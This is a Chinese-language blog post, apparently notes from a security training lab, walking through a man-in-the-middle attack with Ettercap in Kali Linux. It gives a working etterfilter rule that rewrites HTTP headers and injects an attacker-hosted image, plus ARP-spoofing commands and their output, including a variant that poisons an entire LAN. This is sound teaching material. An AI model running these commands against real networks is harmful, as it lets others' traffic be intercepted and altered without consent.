[Kali] 用 Ettercap 作中間人攻擊,修改網頁內容
今天的訓練課程裡講到了駭客攻擊裡面,一個很重要的概念,
就是中間人攻擊 MITM (Man-in-the-middle) attack~
基本上就是駭客介入 client 與 server 的連線之中,所以連線中所有的資料都能聽到,
至於要怎麼做呢?Kali Linux 裡面附的 Ettercap 是一個蠻不錯用的工具~
課程中也用了 Etterfilter 來做更進階的處理,讓 Ettercap 在聽到相關連線後,
把其中的資料置換掉,下面的步驟就是說明如何運作的~
1. 準備給 etterfilter 使用的規則檔
假設目標 client 想要去連 web server 的某個網頁,其網頁內容如下:
<html> <head> <title>Training Site</title> </head> <body> <img src="images/invisible.jpg" alt="invisible" /> </body> </html>
我們想要把裡面的 <img src=”images/invisible.jpg” 替換成我們想要的網址,
於是我們可以先編寫像下面的一個純文字檔:
if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("zapped Accept-Encoding!\n"); } if (search(DATA.data, "If-Modified-Since")) { replace("If-Modified-Since", "If-M0dified-Since"); # note: replacement string is same length as original string msg("zapped If-Modified-Since!\n"); } replace("img src=\"images/invisible.jpg\"", "img src=\"http://192.168.27.131/pwned.jpg\" "); msg("pwned image injected\n"); }
上面的文字檔就是給 etterfilter 使用的規則,語法類似 C,
可以看到它主要做了下面幾件事情:
a. 把 Accept-Encoding 這個 HTTP header 換成 Accept-Rubbish!
=> 這是因為普遍 web server 會使用類似 gzip 的方式,對傳輸資料做壓縮。將 Accept-Encoding 拿掉可以迫使 web server 使用不壓縮的方式,就可以看到明碼。
b. 把 If-Modified-Since 這個 HTTP header 換成 If-M0dified-Since
=> 這是為了讓 system cache/proxy server 不要吐出快取的資料
c. 把 img src=”images/invisible.jpg” 這個字串換成 img src=”http://192.168.27.131/pwned.jpg”
=> 這是為了把原本網頁上的圖片,換成駭客想要的圖片
在寫上面的規則時,要注意如果修改了 HTTP header 的部分,
要保留原本的字串長度,但在 HTTP body 的部分則無所謂~ (但原因我還想不出來為什麼…)
也許有人會問說那 Content-Length 不需要修改嗎?
我也不確定,但看起來大部分的瀏覽器對於 HTML 網頁的 Content-Length 是不太在意的…
2. 編譯 etterfileter 規則檔
執行 etterfilter 來編譯上個步驟寫好的規則檔,
下面的範例會將原本的 pwned.filter 純文字檔轉成二進位的 marvin.ef:
root@kali:~/lab/day1# etterfilter pwned.filter -o marvin.ef etterfilter 0.8.0 copyright 2001-2013 Ettercap Development Team 12 protocol tables loaded: DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth 11 constants loaded: VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP Parsing source file 'pwned.filter' done. Unfolding the meta-tree done. Converting labels to real offsets done. Writing output to 'marvin.ef' done. -> Script encoded into 20 instructions.
3. 使用 Ettercap 攔截雙方連線
在本例中的 client 是 192.168.27.130,要連線到 server 192.168.27.132,
因此我們用 ettercap 來做 ARP spoofing,同時加上剛剛編譯好的規則檔:
root@kali:~/lab/day1# ettercap -TqM arp:remote /192.168.27.130/ /192.168.27.132/ -F marvin.ef ettercap 0.8.0 copyright 2001-2013 Ettercap Development Team Content filters loaded from marvin.ef... Listening on: eth0 -> 00:0C:29:C4:68:EC 192.168.27.131/255.255.255.0 fe80::20c:29ff:fec4:68ec/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 16074 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.27.130 00:0C:29:46:62:4C GROUP 2 : 192.168.27.132 00:0C:29:F5:6E:33 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help pwned image injected zapped Accept-Encoding! pwned image injected pwned image injected pwned image injected
如果懶得打 client 和 server 的 IP 的話,也可以直接用 // 來代表,
不過這樣就會對這個 LAN 上的所有人都做 ARP spoofing,所有的連線都會導到攻擊者的電腦上,
因此電腦處理連線的效率就需要考慮了…
但因為我們只是在 VM 裡面做實驗,所以用 // 是還算 OK 的~
ettercap -TqM arp:remote // // -F marvin.ef
執行完上面的指令後,Ettercap 就會對雙方做 ARP spoofing,
因此當我在 client 那台電腦要瀏覽 server 的網頁時,
Ettercap 就會攔截到,並且將攔截到的內容與我們編寫的規則做比對,
一旦發現是 TCP port 80 的連線 (HTTP),就把裡面的 HTTP header 和 body 改寫,
因此 client 端最後拿到的就是修改過後的 HTML 了,如下:
<html> <head> <title>Training Site</title> </head> <body> <img src="http://192.168.27.131/pwned.jpg" alt="invisible" /> </body>
在執行完 Ettercap 後,記得要按 q 正常結束程式,千萬不能按 Ctrl-C,
這樣 Ettercap 才能將原本已經被 ARP-spoofing 影響的網路重置~
在這個練習裡面,我們換掉的只是一個網頁圖片,
但攻擊者還可以更進一步地將有問題的 PDF 用 iframe 打開,
或是展示一個有問題的 URL 給使用者點選,真的是防不勝防呀~